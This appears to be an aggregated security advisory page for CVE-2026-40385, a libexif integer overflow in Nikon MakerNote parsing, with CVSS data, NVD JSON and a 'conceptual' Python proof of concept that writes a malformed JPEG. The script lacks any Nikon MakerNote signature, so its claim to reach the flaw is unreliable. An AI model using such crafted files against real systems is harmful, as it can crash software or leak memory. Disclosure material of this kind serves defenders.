Security Vulnerability Report
中文
CVE-2026-40385 CVSS 4.0 MEDIUM

CVE-2026-40385

Published: 2026-04-12 19:16:20
Last Modified: 2026-04-14 20:15:40

Description

In libexif through 0.6.25, an unsigned 32bit integer overflow in Nikon MakerNote handling could be used by local attackers to cause crashes or information leaks. This only affects 32bit systems.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:libexif_project:libexif:*:*:*:*:*:*:*:* - VULNERABLE
libexif <= 0.6.25

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Conceptual PoC for CVE-2026-40385 # This script creates a JPEG file with a malformed EXIF MakerNote # designed to trigger an integer overflow on 32-bit libexif. def create_malicious_jpeg(filename): # JPEG Start of Image (SOI) soi = b'\xff\xd8' # APP1 Marker (EXIF) app1_marker = b'\xff\xe1' # Placeholder for length (will be updated) exif_header = b'Exif\x00\x00' tiff_header = b'II' + struct.pack('<H', 42) + b'\x00\x00\x00\x08' # IFD0 construction pointing to MakerNote # Entry count ifd0_count = struct.pack('<H', 1) # Tag 0x927C (MakerNote) maker_note_tag = struct.pack('<H', 0x927C) type = struct.pack('<H', 7) # Undefined # Malicious count/offset to trigger overflow (e.g., 0xFFFFFFFF) # This value attempts to cause an overflow in length calculation malicious_value = struct.pack('<I', 0xFFFFFFFF) ifd0_entry = maker_note_tag + type + malicious_value + malicious_value # Next IFD offset (0) next_ifd = struct.pack('<I', 0) # Combine APP1 data app1_data = exif_header + tiff_header + ifd0_count + ifd0_entry + next_ifd app1_length = struct.pack('>H', len(app1_data) + 2) # JPEG End of Image (EOI) eoi = b'\xff\xd9' with open(filename, 'wb') as f: f.write(soi) f.write(app1_marker + app1_length + app1_data) # Minimal valid image data needed for some parsers f.write(b'\xff\xc0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01') f.write(eoi) print(f"Malicious JPEG file created: {filename}") if __name__ == "__main__": create_malicious_jpeg("cve_2026_40385_poc.jpg")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40385", "sourceIdentifier": "[email protected]", "published": "2026-04-12T19:16:20.480", "lastModified": "2026-04-14T20:15:39.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In libexif through 0.6.25, an unsigned 32bit integer overflow in Nikon MakerNote handling could be used by local attackers to cause crashes or information leaks. This only affects 32bit systems."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.4, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libexif_project:libexif:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.6.25", "matchCriteriaId": "1CBE2459-7BEF-4E03-A977-F4B9DC93695A"}]}]}], "references": [{"url": "https://github.com/libexif/libexif/commit/93003b93e50b3d259bd2227d8775b73a53c35d58", "source": "[email protected]", "tags": ["Patch"]}]}}